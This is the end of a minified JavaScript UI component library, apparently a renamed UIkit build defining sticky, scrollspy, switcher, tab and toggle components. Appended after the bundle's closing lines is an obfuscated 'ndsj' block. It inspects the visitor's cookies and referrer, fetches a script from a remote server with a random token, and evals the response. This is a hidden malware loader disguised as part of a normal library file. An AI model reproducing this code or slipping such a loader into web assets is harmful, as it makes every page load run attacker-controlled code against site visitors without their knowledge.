removeClass(document.body, this.clsContainer, this.clsFlip);
css(document.documentElement, 'overflowY', '');
}
},
{
name: 'swipeLeft swipeRight',
handler: function(e) {
if (this.isToggled() && endsWith(e.type, 'Left') ^ this.flip) {
this.hide();
}
}
}
]
};
// Chrome in responsive mode zooms page upon opening offcanvas
function suppressUserScale() {
getViewport$1().content += ',user-scalable=0';
}
function resumeUserScale() {
var viewport = getViewport$1();
viewport.content = viewport.content.replace(/,user-scalable=0$/, '');
}
function getViewport$1() {
return $('meta[name="viewport"]', document.head) || append(document.head, '<meta name="viewport">');
}
var overflowAuto = {
mixins: [Class],
props: {
selContainer: String,
selContent: String
},
data: {
selContainer: '.gsl-modal',
selContent: '.gsl-modal-dialog'
},
computed: {
container: function(ref, $el) {
var selContainer = ref.selContainer;
return closest($el, selContainer);
},
content: function(ref, $el) {
var selContent = ref.selContent;
return closest($el, selContent);
}
},
connected: function() {
css(this.$el, 'minHeight', 150);
},
update: {
read: function() {
if (!this.content || !this.container) {
return false;
}
return {
current: toFloat(css(this.$el, 'maxHeight')),
max: Math.max(150, height(this.container) - (offset(this.content).height - height(this.$el)))
};
},
write: function(ref) {
var current = ref.current;
var max = ref.max;
css(this.$el, 'maxHeight', max);
if (Math.round(current) !== Math.round(max)) {
trigger(this.$el, 'resize');
}
},
events: ['resize']
}
};
var responsive = {
props: ['width', 'height'],
connected: function() {
addClass(this.$el, 'gsl-responsive-width');
},
update: {
read: function() {
return isVisible(this.$el) && this.width && this.height
? {width: width(this.$el.parentNode), height: this.height}
: false;
},
write: function(dim) {
height(this.$el, Dimensions.contain({
height: this.height,
width: this.width
}, dim).height);
},
events: ['resize']
}
};
var scroll = {
props: {
duration: Number,
offset: Number
},
data: {
duration: 1000,
offset: 0
},
methods: {
scrollTo: function(el) {
var this$1 = this;
el = el && $(el) || document.body;
if (trigger(this.$el, 'beforescroll', [this, el])) {
scrollIntoView(el, this.$props).then(function () { return trigger(this$1.$el, 'scrolled', [this$1, el]); }
);
}
}
},
events: {
click: function(e) {
if (e.defaultPrevented) {
return;
}
e.preventDefault();
this.scrollTo(escape(decodeURIComponent(this.$el.hash)).substr(1));
}
}
};
var scrollspy = {
args: 'cls',
props: {
cls: String,
target: String,
hidden: Boolean,
offsetTop: Number,
offsetLeft: Number,
repeat: Boolean,
delay: Number
},
data: function () { return ({
cls: false,
target: false,
hidden: true,
offsetTop: 0,
offsetLeft: 0,
repeat: false,
delay: 0,
inViewClass: 'gsl-scrollspy-inview'
}); },
computed: {
elements: function(ref, $el) {
var target = ref.target;
return target ? $$(target, $el) : [$el];
}
},
update: [
{
write: function() {
if (this.hidden) {
css(filter(this.elements, (":not(." + (this.inViewClass) + ")")), 'visibility', 'hidden');
}
}
},
{
read: function(ref) {
var this$1 = this;
var update = ref.update;
if (!update) {
return;
}
this.elements.forEach(function (el) {
var state = el._ukScrollspyState;
if (!state) {
state = {cls: data(el, 'gsl-scrollspy-class') || this$1.cls};
}
state.show = isInView(el, this$1.offsetTop, this$1.offsetLeft);
el._ukScrollspyState = state;
});
},
write: function(data) {
var this$1 = this;
// Let child components be applied at least once first
if (!data.update) {
this.$emit();
return data.update = true;
}
this.elements.forEach(function (el) {
var state = el._ukScrollspyState;
var toggle = function (inview) {
css(el, 'visibility', !inview && this$1.hidden ? 'hidden' : '');
toggleClass(el, this$1.inViewClass, inview);
toggleClass(el, state.cls);
trigger(el, inview ? 'inview' : 'outview');
state.inview = inview;
this$1.$update(el);
};
if (state.show && !state.inview && !state.queued) {
state.queued = true;
data.promise = (data.promise || Promise.resolve()).then(function () { return new Promise(function (resolve) { return setTimeout(resolve, this$1.delay); }
); }
).then(function () {
toggle(true);
setTimeout(function () { return state.queued = false; }, 300);
});
} else if (!state.show && state.inview && !state.queued && this$1.repeat) {
toggle(false);
}
});
},
events: ['scroll', 'resize']
}
]
};
var scrollspyNav = {
props: {
cls: String,
closest: String,
scroll: Boolean,
overflow: Boolean,
offset: Number
},
data: {
cls: 'gsl-active',
closest: false,
scroll: false,
overflow: true,
offset: 0
},
computed: {
links: function(_, $el) {
return $$('a[href^="#"]', $el).filter(function (el) { return el.hash; });
},
targets: function() {
return $$(this.links.map(function (el) { return escape(el.hash).substr(1); }).join(','));
},
elements: function(ref) {
var selector = ref.closest;
return closest($$(this.targets.map(function (el) { return ("[href=\"#" + (el.id) + "\"]"); }).join(',')), selector || '*');
}
},
update: [
{
read: function() {
if (this.scroll) {
this.$create('scroll', this.links, {offset: this.offset || 0});
}
}
},
{
read: function() {
var this$1 = this;
var ref = this.targets;
var length = ref.length;
if (!length || !isVisible(this.$el)) {
return false;
}
var scrollElement = last(scrollParents(this.targets[0]));
var scrollTop = scrollElement.scrollTop;
var scrollHeight = scrollElement.scrollHeight;
var viewport = getViewport(scrollElement);
var scroll = scrollTop;
var max = scrollHeight - offset(viewport).height;
var active = false;
if (scroll === max) {
active = length - 1;
} else {
this.targets.every(function (el, i) {
var ref = position(el, viewport);
var top = ref.top;
if (top - this$1.offset <= 0) {
active = i;
return true;
}
});
if (active === false && this.overflow) {
active = 0;
}
}
return {active: active};
},
write: function(ref) {
var active = ref.active;
this.links.forEach(function (el) { return el.blur(); });
removeClass(this.elements, this.cls);
if (active !== false) {
trigger(this.$el, 'active', [active, addClass(this.elements[active], this.cls)]);
}
},
events: ['scroll', 'resize']
}
]
};
var sticky = {
mixins: [Class, Media],
props: {
top: null,
bottom: Boolean,
offset: String,
animation: String,
clsActive: String,
clsInactive: String,
clsFixed: String,
clsBelow: String,
selTarget: String,
widthElement: Boolean,
showOnUp: Boolean,
targetOffset: Number
},
data: {
top: 0,
bottom: false,
offset: 0,
animation: '',
clsActive: 'gsl-active',
clsInactive: '',
clsFixed: 'gsl-sticky-fixed',
clsBelow: 'gsl-sticky-below',
selTarget: '',
widthElement: false,
showOnUp: false,
targetOffset: false
},
computed: {
offset: function(ref) {
var offset = ref.offset;
return toPx(offset);
},
selTarget: function(ref, $el) {
var selTarget = ref.selTarget;
return selTarget && $(selTarget, $el) || $el;
},
widthElement: function(ref, $el) {
var widthElement = ref.widthElement;
return query(widthElement, $el) || this.placeholder;
},
isActive: {
get: function() {
return hasClass(this.selTarget, this.clsActive);
},
set: function(value) {
if (value && !this.isActive) {
replaceClass(this.selTarget, this.clsInactive, this.clsActive);
trigger(this.$el, 'active');
} else if (!value && !hasClass(this.selTarget, this.clsInactive)) {
replaceClass(this.selTarget, this.clsActive, this.clsInactive);
trigger(this.$el, 'inactive');
}
}
}
},
connected: function() {
this.placeholder = $('+ .gsl-sticky-placeholder', this.$el) || $('<div class="gsl-sticky-placeholder"></div>');
this.isFixed = false;
this.isActive = false;
},
disconnected: function() {
if (this.isFixed) {
this.hide();
removeClass(this.selTarget, this.clsInactive);
}
remove(this.placeholder);
this.placeholder = null;
this.widthElement = null;
},
events: [
{
name: 'load hashchange popstate',
el: window,
handler: function() {
var this$1 = this;
if (!(this.targetOffset !== false && location.hash && window.pageYOffset > 0)) {
return;
}
var target = $(location.hash);
if (target) {
fastdom.read(function () {
var ref = offset(target);
var top = ref.top;
var elTop = offset(this$1.$el).top;
var elHeight = this$1.$el.offsetHeight;
if (this$1.isFixed && elTop + elHeight >= top && elTop <= top + target.offsetHeight) {
scrollTop(window, top - elHeight - (isNumeric(this$1.targetOffset) ? this$1.targetOffset : 0) - this$1.offset);
}
});
}
}
}
],
update: [
{
read: function(ref, type) {
var height = ref.height;
if (this.isActive && type !== 'update') {
this.hide();
height = this.$el.offsetHeight;
this.show();
}
height = !this.isActive ? this.$el.offsetHeight : height;
this.topOffset = offset(this.isFixed ? this.placeholder : this.$el).top;
this.bottomOffset = this.topOffset + height;
var bottom = parseProp('bottom', this);
this.top = Math.max(toFloat(parseProp('top', this)), this.topOffset) - this.offset;
this.bottom = bottom && bottom - height;
this.inactive = !this.matchMedia;
return {
lastScroll: false,
height: height,
margins: css(this.$el, ['marginTop', 'marginBottom', 'marginLeft', 'marginRight'])
};
},
write: function(ref) {
var height = ref.height;
var margins = ref.margins;
var ref$1 = this;
var placeholder = ref$1.placeholder;
css(placeholder, assign({height: height}, margins));
if (!within(placeholder, document)) {
after(this.$el, placeholder);
attr(placeholder, 'hidden', '');
}
// ensure active/inactive classes are applied
this.isActive = this.isActive;
},
events: ['resize']
},
{
read: function(ref) {
var scroll = ref.scroll; if ( scroll === void 0 ) scroll = 0;
this.width = (isVisible(this.widthElement) ? this.widthElement : this.$el).offsetWidth;
this.scroll = window.pageYOffset;
return {
dir: scroll <= this.scroll ? 'down' : 'up',
scroll: this.scroll,
visible: isVisible(this.$el),
top: offsetPosition(this.placeholder)[0]
};
},
write: function(data, type) {
var this$1 = this;
var initTimestamp = data.initTimestamp; if ( initTimestamp === void 0 ) initTimestamp = 0;
var dir = data.dir;
var lastDir = data.lastDir;
var lastScroll = data.lastScroll;
var scroll = data.scroll;
var top = data.top;
var visible = data.visible;
var now = performance.now();
data.lastScroll = scroll;
if (scroll < 0 || scroll === lastScroll || !visible || this.disabled || this.showOnUp && type !== 'scroll') {
return;
}
if (now - initTimestamp > 300 || dir !== lastDir) {
data.initScroll = scroll;
data.initTimestamp = now;
}
data.lastDir = dir;
if (this.showOnUp && Math.abs(data.initScroll - scroll) <= 30 && Math.abs(lastScroll - scroll) <= 10) {
return;
}
if (this.inactive
|| scroll < this.top
|| this.showOnUp && (scroll <= this.top || dir === 'down' || dir === 'up' && !this.isFixed && scroll <= this.bottomOffset)
) {
if (!this.isFixed) {
if (Animation.inProgress(this.$el) && top > scroll) {
Animation.cancel(this.$el);
this.hide();
}
return;
}
this.isFixed = false;
if (this.animation && scroll > this.topOffset) {
Animation.cancel(this.$el);
Animation.out(this.$el, this.animation).then(function () { return this$1.hide(); }, noop);
} else {
this.hide();
}
} else if (this.isFixed) {
this.update();
} else if (this.animation) {
Animation.cancel(this.$el);
this.show();
Animation.in(this.$el, this.animation).catch(noop);
} else {
this.show();
}
},
events: ['resize', 'scroll']
}
],
methods: {
show: function() {
this.isFixed = true;
this.update();
attr(this.placeholder, 'hidden', null);
},
hide: function() {
this.isActive = false;
removeClass(this.$el, this.clsFixed, this.clsBelow);
css(this.$el, {position: '', top: '', width: ''});
attr(this.placeholder, 'hidden', '');
},
update: function() {
var active = this.top !== 0 || this.scroll > this.top;
var top = Math.max(0, this.offset);
if (this.bottom && this.scroll > this.bottom - this.offset) {
top = this.bottom - this.scroll;
}
css(this.$el, {
position: 'fixed',
top: (top + "px"),
width: this.width
});
this.isActive = active;
toggleClass(this.$el, this.clsBelow, this.scroll > this.bottomOffset);
addClass(this.$el, this.clsFixed);
}
}
};
function parseProp(prop, ref) {
var $props = ref.$props;
var $el = ref.$el;
var propOffset = ref[(prop + "Offset")];
var value = $props[prop];
if (!value) {
return;
}
if (isNumeric(value) && isString(value) && value.match(/^-?\d/)) {
return propOffset + toPx(value);
} else {
return offset(value === true ? $el.parentNode : query(value, $el)).bottom;
}
}
var Switcher = {
mixins: [Togglable],
args: 'connect',
props: {
connect: String,
toggle: String,
active: Number,
swiping: Boolean
},
data: {
connect: '~.gsl-switcher',
toggle: '> * > :first-child',
active: 0,
swiping: true,
cls: 'gsl-active',
clsContainer: 'gsl-switcher',
attrItem: 'gsl-switcher-item',
queued: true
},
computed: {
connects: function(ref, $el) {
var connect = ref.connect;
return queryAll(connect, $el);
},
toggles: function(ref, $el) {
var toggle = ref.toggle;
return $$(toggle, $el);
}
},
events: [
{
name: 'click',
delegate: function() {
return ((this.toggle) + ":not(.gsl-disabled)");
},
handler: function(e) {
e.preventDefault();
this.show(children(this.$el).filter(function (el) { return within(e.current, el); })[0]);
}
},
{
name: 'click',
el: function() {
return this.connects;
},
delegate: function() {
return ("[" + (this.attrItem) + "],[data-" + (this.attrItem) + "]");
},
handler: function(e) {
e.preventDefault();
this.show(data(e.current, this.attrItem));
}
},
{
name: 'swipeRight swipeLeft',
filter: function() {
return this.swiping;
},
el: function() {
return this.connects;
},
handler: function(ref) {
var type = ref.type;
this.show(endsWith(type, 'Left') ? 'next' : 'previous');
}
}
],
update: function() {
var this$1 = this;
this.connects.forEach(function (list) { return this$1.updateAria(list.children); });
var ref = this.$el;
var children = ref.children;
this.show(filter(children, ("." + (this.cls)))[0] || children[this.active] || children[0]);
this.swiping && css(this.connects, 'touch-action', 'pan-y pinch-zoom');
},
methods: {
index: function() {
return !isEmpty(this.connects) ? index(filter(this.connects[0].children, ("." + (this.cls)))[0]) : -1;
},
show: function(item) {
var this$1 = this;
var ref = this.$el;
var children = ref.children;
var length = children.length;
var prev = this.index();
var hasPrev = prev >= 0;
var dir = item === 'previous' ? -1 : 1;
var toggle, active, next = getIndex(item, children, prev);
for (var i = 0; i < length; i++, next = (next + dir + length) % length) {
if (!matches(this.toggles[next], '.gsl-disabled *, .gsl-disabled, [disabled]')) {
toggle = this.toggles[next];
active = children[next];
break;
}
}
if (!active || prev === next) {
return;
}
removeClass(children, this.cls);
addClass(active, this.cls);
attr(this.toggles, 'aria-expanded', false);
attr(toggle, 'aria-expanded', true);
this.connects.forEach(function (list) {
if (!hasPrev) {
this$1.toggleNow(list.children[next]);
} else {
this$1.toggleElement([list.children[prev], list.children[next]]);
}
});
}
}
};
var tab = {
mixins: [Class],
extends: Switcher,
props: {
media: Boolean
},
data: {
media: 960,
attrItem: 'gsl-tab-item'
},
connected: function() {
var cls = hasClass(this.$el, 'gsl-tab-left')
? 'gsl-tab-left'
: hasClass(this.$el, 'gsl-tab-right')
? 'gsl-tab-right'
: false;
if (cls) {
this.$create('toggle', this.$el, {cls: cls, mode: 'media', media: this.media});
}
}
};
var toggle = {
mixins: [Media, Togglable],
args: 'target',
props: {
href: String,
target: null,
mode: 'list'
},
data: {
href: false,
target: false,
mode: 'click',
queued: true
},
computed: {
target: function(ref, $el) {
var href = ref.href;
var target = ref.target;
target = queryAll(target || href, $el);
return target.length && target || [$el];
}
},
connected: function() {
trigger(this.target, 'updatearia', [this]);
},
events: [
{
name: (pointerEnter + " " + pointerLeave),
filter: function() {
return includes(this.mode, 'hover');
},
handler: function(e) {
if (!isTouch(e)) {
this.toggle(("toggle" + (e.type === pointerEnter ? 'show' : 'hide')));
}
}
},
{
name: 'click',
filter: function() {
return includes(this.mode, 'click') || hasTouch && includes(this.mode, 'hover');
},
handler: function(e) {
// TODO better isToggled handling
var link;
if (closest(e.target, 'a[href="#"], a[href=""]')
|| (link = closest(e.target, 'a[href]')) && (
this.cls && !hasClass(this.target, this.cls.split(' ')[0])
|| !isVisible(this.target)
|| link.hash && matches(this.target, link.hash)
)
) {
e.preventDefault();
}
this.toggle();
}
}
],
update: {
read: function() {
return includes(this.mode, 'media') && this.media
? {match: this.matchMedia}
: false;
},
write: function(ref) {
var match = ref.match;
var toggled = this.isToggled(this.target);
if (match ? !toggled : toggled) {
this.toggle();
}
},
events: ['resize']
},
methods: {
toggle: function(type) {
if (trigger(this.target, type || 'toggle', [this])) {
this.toggleElement(this.target);
}
}
}
};
var components = /*#__PURE__*/Object.freeze({
__proto__: null,
Accordion: Accordion,
Alert: alert,
Cover: cover,
Drop: Drop,
Dropdown: dropdown,
FormCustom: formCustom,
Gif: gif,
Grid: grid,
HeightMatch: heightMatch,
HeightViewport: heightViewport,
Icon: Icon,
Img: img,
Leader: leader,
Margin: Margin,
Modal: modal,
Nav: nav,
Navbar: navbar,
Offcanvas: offcanvas,
OverflowAuto: overflowAuto,
Responsive: responsive,
Scroll: scroll,
Scrollspy: scrollspy,
ScrollspyNav: scrollspyNav,
Sticky: sticky,
Svg: SVG,
Switcher: Switcher,
Tab: tab,
Toggle: toggle,
Video: Video,
Close: Close,
Spinner: Spinner,
SlidenavNext: Slidenav,
SlidenavPrevious: Slidenav,
SearchIcon: Search,
Marker: IconComponent,
NavbarToggleIcon: IconComponent,
OverlayIcon: IconComponent,
PaginationNext: IconComponent,
PaginationPrevious: IconComponent,
Totop: IconComponent
});
// register components
each(components, function (component, name) { return gslUIkit.component(name, component); }
);
// core functionality
gslUIkit.use(Core);
boot(gslUIkit);
return gslUIkit;
})));
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};